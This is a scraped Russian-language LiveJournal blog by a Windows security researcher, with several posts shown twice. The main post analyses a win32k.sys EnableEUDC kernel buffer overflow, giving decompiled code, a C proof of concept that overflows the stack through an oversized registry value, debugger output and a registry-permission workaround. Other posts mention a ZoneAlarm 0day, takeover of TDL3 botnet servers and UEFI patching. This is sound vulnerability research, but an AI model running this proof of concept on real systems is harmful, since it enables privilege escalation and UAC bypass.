Request
Feb. 6th, 2012 | 05:43 pm
Дорогие френды, а есть у кого-нибудь ноутбук линейки ThinkPad на чипсете Q67 с имеющимся в наличии и работающим TPM модулем? Поделитесь со мной дампом BIOS.
Дело в том, что в РФ данные ноутбуки поставляются с отключенными TPM и AES-NI в связи с некоторыми законодательными заморочками. И если AES-NI включается достаточно тривиальным патчем одного из UEFI модулей и перепрошивкой -- то с включением TPM ситуация совершенно мутная, что и хотелось бы исправить собственными силами.

Дело в том, что в РФ данные ноутбуки поставляются с отключенными TPM и AES-NI в связи с некоторыми законодательными заморочками. И если AES-NI включается достаточно тривиальным патчем одного из UEFI модулей и перепрошивкой -- то с включением TPM ситуация совершенно мутная, что и хотелось бы исправить собственными силами.

Link | Leave a comment {8} | Add to Memories | Share
Ненужное железо
Jul. 18th, 2011 | 02:21 am

Первому Московскому Хакспейсу (публичный анонс скоро будет) для внутренних нужд требуется старый системный блок, который мы будем рады принять в дар бесплатно, или за небольшую символическую плату.
Основные требования к железу следующие: 100Mb Ethernet, SATA, USB 2.0, CPU и RAM - достаточные для нормальной работы WEB и Samba сервера под каким-нибудь не самым древним *BSD.
Наличие жесткого диска и приводов не обязательно.
Самовывоз гарантируем.
Желающие осчастливить нас могут писать свои контакты на почту cr4sh0@gmail.com или прямо в комментарии данного поста (они скрываются).
Спасибо.
Link | Leave a comment | Add to Memories | Share
Объявление
Dec. 14th, 2010 | 03:14 pm

С настоящего момента данный блог прекращает свою работу в связи с переездом.
Важные и значимые посты будут по-прежнему публиковаться в блоге eSageLab, а различные технические заметки - в новом блоге на Blogspot-е (добавляйте адрес в свои RSS агрегаторы). В новый блог были перенесены некоторые старые посты, дабы его проиндексировали поисковики, в скором времени ожидайте публикации интересных материалов на уже известные вам темы.
Удаление LJ-аккаунта пока что не планируется. Возможно, он будет использоваться мной для постинга каких-то реквестов или объявлений.
Спасибо за внимание.
Link | Leave a comment {4} | Add to Memories | Share
Обновление программы IOCTL Fuzzer
Dec. 13th, 2010 | 03:42 pm
Мы выпустили глобальное обновление IOCTL Fuzzer-а - программы для автоматического выявления уязвимостей в драйверах режима ядра при обработке IOCTL запросов. Подробности работы с данной программой рассматривались в статье Уязвимости в драйверах режима ядра для Windows.
В текущей версии фаззера присутствуют следующие нововведения:
Страница программы на Google Code
Файл README.TXT
В текущей версии фаззера присутствуют следующие нововведения:
- Поддержка Windows 7
- Полная поддержка 64-х разрядных версий Windows
- Мониторинг исключений
- Режим "честного фаззинга" (отправка IOCTL запросов из контекста процесса фаззера)
- Разные режимы генерации некорректных данных для фаззинга
- Возможность запуска фаззинга/мониторинга на начальных этапах загрузки операционной системы
Страница программы на Google Code
Файл README.TXT
Link | Leave a comment | Add to Memories | Share
Security flaws in AV products
Nov. 30th, 2010 | 02:35 pm
Вот очередная специальная ссылка, которую можно постить в идиотские обсуждения на тему "какой антивирус лучше".
Одна из демок с выступления Алисы на InfoSecurity 2010 (повышение привилегий через 0day уязвимость в последнем ZoneAlarm Extreme Security с последующим отключением защиты):
По ссылке выше есть ещё два видео.
Одна из демок с выступления Алисы на InfoSecurity 2010 (повышение привилегий через 0day уязвимость в последнем ZoneAlarm Extreme Security с последующим отключением защиты):
Local privilege escalation via ZoneAlarm from eSage Lab on Vimeo.
По ссылке выше есть ещё два видео.
Link | Leave a comment {7} | Add to Memories | Share
Новая уязвимость в ядре Windows
Nov. 26th, 2010 | 11:32 pm
Репост из блога eSage Lab
В эти дни во многих источниках появились сообщения об обнаружении в ядре Windows (а точнее, в "сердце" графической подсистемы win32k.sys) очередной локальной уязвимости нулевого дня. Интересно также и то, что изначально информация о данной уязвимости и сам эксплойт появились на одном из многочисленных китайских форумов, но тема довольно быстро была удалена администратором.
Уязвимость представляет собой классическое переполнение буфера в ядре. Рассмотрим подробно её технические детали.
В MSDN описана API функция EnableEUDC(), библиотеки Gdi32.dll, которая служит для включения или выключения т.н. end-user-defined characters (шрифтов интерфейса, определённых пользователем):
Код этой функции выполняет системный вызов NtGdiEnableEudc(), который, в свою очередь, считывает путь к файлу пользовательского шрифта из параметра SystemDefaultEUDCFont, ключа реестра HKEY_CURRENT_USER\EUDC\<Current_code_pag e>. Для получения значения параметра реестра в коде win32k.sys используется функция RtlQueryRegistryValues():
В качестве одного из входных параметров она получает указатель на структуру RTL_QUERY_REGISTRY_TABLE:
Эта структура предназначена для передачи информации о параметре реестра, значение которого необходимо прочесть. В коде win32k.sys поля этой структуры заполняются следующим образом:
Как видно, в качестве буфера, в котором следует сохранить значение реестра (поле QueryRoutine), передается локальный буфер фиксированного размера, переполнение которого и произойдет в том случае, если длина получаемых данных будет превышать 208h байт.
PoC код, эксплуатирующий данную уязвимость, выглядит весьма просто:
В результате выполнения данной программы произойдет затирание оригинального значения адреса возврата на стеке в функции nt!CmpParseKey:
Поскольку модули режима ядра не предусматривают какой-либо защиты (stack cookies и другие) от переполнений буфера - эксплуатация данной уязвимости до полноценного локального повышения привилегий тривиальна, что и демонстрирует оригинальный эксплойт.
Официальное исправление для уязвимости на данный момент отсутствует, однако, можно предотвратить возможность её эксплуатации из-под ограниченной учётной записи, выполнив следующие шаги:
Данную уязвимость так же возможно использовать для обхода UAC, в связи с чем ожидается скорое появление широко распространённых вредоносных программ, которые будут пытаться её эксплуатировать.
В эти дни во многих источниках появились сообщения об обнаружении в ядре Windows (а точнее, в "сердце" графической подсистемы win32k.sys) очередной локальной уязвимости нулевого дня. Интересно также и то, что изначально информация о данной уязвимости и сам эксплойт появились на одном из многочисленных китайских форумов, но тема довольно быстро была удалена администратором.
Уязвимость представляет собой классическое переполнение буфера в ядре. Рассмотрим подробно её технические детали.
В MSDN описана API функция EnableEUDC(), библиотеки Gdi32.dll, которая служит для включения или выключения т.н. end-user-defined characters (шрифтов интерфейса, определённых пользователем):
BOOL EnableEUDC( BOOL fEnableEUDC );
Код этой функции выполняет системный вызов NtGdiEnableEudc(), который, в свою очередь, считывает путь к файлу пользовательского шрифта из параметра SystemDefaultEUDCFont, ключа реестра HKEY_CURRENT_USER\EUDC\<Current_code_pag
NTSTATUS RtlQueryRegistryValues( __in ULONG RelativeTo, __in PCWSTR Path, __inout PRTL_QUERY_REGISTRY_TABLE QueryTable, __in_opt PVOID Context, __in_opt PVOID Environment );
В качестве одного из входных параметров она получает указатель на структуру RTL_QUERY_REGISTRY_TABLE:
typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;Эта структура предназначена для передачи информации о параметре реестра, значение которого необходимо прочесть. В коде win32k.sys поля этой структуры заполняются следующим образом:
1 signed int __stdcall sub_BF892113(wchar_t *a1, unsigned __int16 a2) 2 { 3 DestinationString.Buffer = (PWSTR)&v11; 4 KeyHandle = 0; 5 v9 = 0; 6 v7 = 0; 7 v11 = 0; 8 SourceString = 0; 9 DestinationString.Length = 0; 10 DestinationString.MaximumLength = 0x208u; 11 12 // получение имени ключа 13 v4 = _get_EUDC_key_name(0x208u, &SourceString); 14 if (v4 >= 0) 15 { 16 // проверка существования ключа 17 if (_check_for_key_exists(&SourceString, &KeyHandle, &v9, (int)&v7) && v7) 18 { 19 SharedQueryTable.EntryContext = &DestinationString; 20 SharedQueryTable.QueryRoutine = 0; 21 SharedQueryTable.Flags = RTL_QUERY_REGISTRY_REQUIRED | RTL_QUERY_REGISTRY_DIRECT; 22 SharedQueryTable.Name = L"SystemDefaultEUDCFont"; 23 SharedQueryTable.DefaultType = 0; 24 SharedQueryTable.DefaultData = 0; 25 SharedQueryTable.DefaultLength = 0; 26 dword_BF9A6444 = 0; 27 dword_BF9A6448 = 0; 28 dword_BF9A644C = 0; 29 30 // получение значения параметра SystemDefaultEUDCFont 31 v4 = RtlQueryRegistryValues(0, &SourceString, &SharedQueryTable, 0, 0); 32 } 33 else 34 { 35 v4 = STATUS_SUCCESS; 36 } 37 } 38 39 // skipped 40 41 return 1; 42 }
Как видно, в качестве буфера, в котором следует сохранить значение реестра (поле QueryRoutine), передается локальный буфер фиксированного размера, переполнение которого и произойдет в том случае, если длина получаемых данных будет превышать 208h байт.
PoC код, эксплуатирующий данную уязвимость, выглядит весьма просто:
1 #define EUDC_FONT_VAL "SystemDefaultEUDCFont" 2 3 int _tmain(int argc, _TCHAR* argv[]) 4 { 5 HKEY hKey; 6 char szKeyName[MAX_PATH], Buff[0x600]; 7 8 sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP()); 9 10 // создание ключа реестра 11 LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey); 12 if (Code != ERROR_SUCCESS) 13 { 14 printf("ERROR: RegCreateKey() fails with status %d\n", Code); 15 return -1; 16 } 17 18 // удаление старого параметра 19 RegDeleteValue(hKey, EUDC_FONT_VAL); 20 21 // создание нового параметра "SystemDefaultEUDCFont" типа REG_BINARY 22 FillMemory(Buff, sizeof(Buff), 'A'); 23 Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600); 24 25 RegCloseKey(hKey); 26 27 if (Code != ERROR_SUCCESS) 28 { 29 printf("ERROR: RegSetValueEx() fails with status %d\n", Code); 30 return -1; 31 } 32 33 // вызов уязвимой функции 34 EnableEUDC(TRUE); 35 36 return 0; 37 }
В результате выполнения данной программы произойдет затирание оригинального значения адреса возврата на стеке в функции nt!CmpParseKey:
kd> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. b291a9d8 806260e0 8224ba74 e1011478 b291ac68 0x41414141 e1520b60 8062dec5 8062de52 806329ba 80632a06 nt!CmpParseKey+0x6ca e1520b8c 00000000 00000b8c 86000301 00000001 nt!HvpReleaseCellMapped+0x73
Поскольку модули режима ядра не предусматривают какой-либо защиты (stack cookies и другие) от переполнений буфера - эксплуатация данной уязвимости до полноценного локального повышения привилегий тривиальна, что и демонстрирует оригинальный эксплойт.
Официальное исправление для уязвимости на данный момент отсутствует, однако, можно предотвратить возможность её эксплуатации из-под ограниченной учётной записи, выполнив следующие шаги:
- Войти в систему под учётной записью администратора.
- Запустить редактор реестра (Win+R - regedit) и найти ключ HKEY_USERS\<SID>\EUDC (где <SID> - идентификатор ограниченной учётной записи).
- Отредактировать разрешения ключа (пункт "Permissions..." контекстного меню), запретив пользовательской учётной записи доступ к нему.

Данную уязвимость так же возможно использовать для обхода UAC, в связи с чем ожидается скорое появление широко распространённых вредоносных программ, которые будут пытаться её эксплуатировать.
Link | Leave a comment {4} | Add to Memories | Share
R.I.P
Nov. 25th, 2010 | 06:13 pm
27 Feb. 1955 – 24 Nov. 2010


Link | Leave a comment {4} | Add to Memories | Share
CC'2010
Aug. 26th, 2010 | 02:26 pm

В эти выходные я собрался посетить фестиваль Chaos Constructions, в связи с чем ищу:
- Кого-нибудь, со свободным человекоместом в машине, кто в ближайшие дни будет ехать из Москвы в Петербург. Могу предоставить часть денег за бензин или как договоримся.
- Человека (или группу людей) которые составили бы мне компанию в посещении семинаров.
e-mail для связи: cr4sh0@gmail.com
Jabber: cr4sh@jabber.ru
Комментарии скрываются.
Link | Leave a comment | Add to Memories | Share
NO BUNKUM №3 is here!
Aug. 4th, 2010 | 06:41 pm
Мы наконец-то выпустили долгожданный третий номер журнала NO BUNKUM, выходу которого предшествовали некоторые задержки и откладывания. Однако по моему скромному мнению, состоящий из пяти статей новый номер (четыре из них были написаны членами команды eSage Lab) получился более чем удачным, и по уровню качества материала существенно превосходит первых два.
Одна из самых "громких" статей номера - "TDSS: полное раскрытие", которая, не смотря на название, не является очередной унылой публикацией на тему уже надоевшего всем ботнета TDL3. В этой статье рассказывается о том, как мы с Андреем Рассохиным порутали С&C сервера TDL3 в конце зимы 2009-го. Пожалуй, это одна из единственных публикаций (появлявшихся когда-либо в широком доступе), в которой подробные детали функционирования ботнета, входящего в число одного из самых больших в мире, были бы раскрыты "изнутри".
В номере присутствуют и другие не менее интересные материалы:
Третий номер доступен к просмотру на сайте журнала. Предугадывая стандартный вопрос: PDF-версий журнала и/или отдельных статей в ближайшем будущем не планируется, но это, в свою очередь, не означает что их никогда не будет в принципе.
Для обсуждения статей создано ЖЖ-сообщество
nobunkum_ru - какие-либо комментарии более предпочтительно писать именно в него.
Информация для авторов
Начиная с этого номера было решено отказаться от чёткого разграничения отдельных выпусков по фиксированным тематическим рамкам. Это значит, что теперь любые материалы (которые подходят под тематику журнала в принципе) могут быть опубликованы в последующих номерах без каких-либо ограничений. Связь с редакцией: journal@nobunkum.ru
Одна из самых "громких" статей номера - "TDSS: полное раскрытие", которая, не смотря на название, не является очередной унылой публикацией на тему уже надоевшего всем ботнета TDL3. В этой статье рассказывается о том, как мы с Андреем Рассохиным порутали С&C сервера TDL3 в конце зимы 2009-го. Пожалуй, это одна из единственных публикаций (появлявшихся когда-либо в широком доступе), в которой подробные детали функционирования ботнета, входящего в число одного из самых больших в мире, были бы раскрыты "изнутри".
В номере присутствуют и другие не менее интересные материалы:
- Дмитрий Андриянков - "Некоторые приёмы статического анализа кода из арсенала вирусного аналитика"
- Андрей Рассохин - "Анализ и лечение классических вирусов"
- Дмитрий Олексюк - "Буткиты: новый виток развития" (ещё одна моя статья)
- Алиса Шевченко - "Атаки на банковские системы"
Третий номер доступен к просмотру на сайте журнала. Предугадывая стандартный вопрос: PDF-версий журнала и/или отдельных статей в ближайшем будущем не планируется, но это, в свою очередь, не означает что их никогда не будет в принципе.
Для обсуждения статей создано ЖЖ-сообщество
Информация для авторов
Начиная с этого номера было решено отказаться от чёткого разграничения отдельных выпусков по фиксированным тематическим рамкам. Это значит, что теперь любые материалы (которые подходят под тематику журнала в принципе) могут быть опубликованы в последующих номерах без каких-либо ограничений. Связь с редакцией: journal@nobunkum.ru
Link | Leave a comment {11} | Add to Memories | Share
Fuckup
Jul. 28th, 2010 | 10:17 pm
Инженеры компании NAD Electronics, проектировавшие мой усилитель - просто замечательные люди. Благодаря термопредохранителю, заботливо спрятанному рядом с витками первичной обмотки трансформатора ждущего режима, мне не пришлось этот самый трансформатор перематывать.
Ну а дегенератам-монтажникам, из-за ошибки которых в бытовую электросеть попало больше 300V переменки - лучи ненависти. Инцидент, помимо мёртвого (сейчас уже починенного) усилителя, ознаменовался так же несколькими сгоревшими лампочками и блоками питания. Компы, к счастью, были выключены.
Ну а дегенератам-монтажникам, из-за ошибки которых в бытовую электросеть попало больше 300V переменки - лучи ненависти. Инцидент, помимо мёртвого (сейчас уже починенного) усилителя, ознаменовался так же несколькими сгоревшими лампочками и блоками питания. Компы, к счастью, были выключены.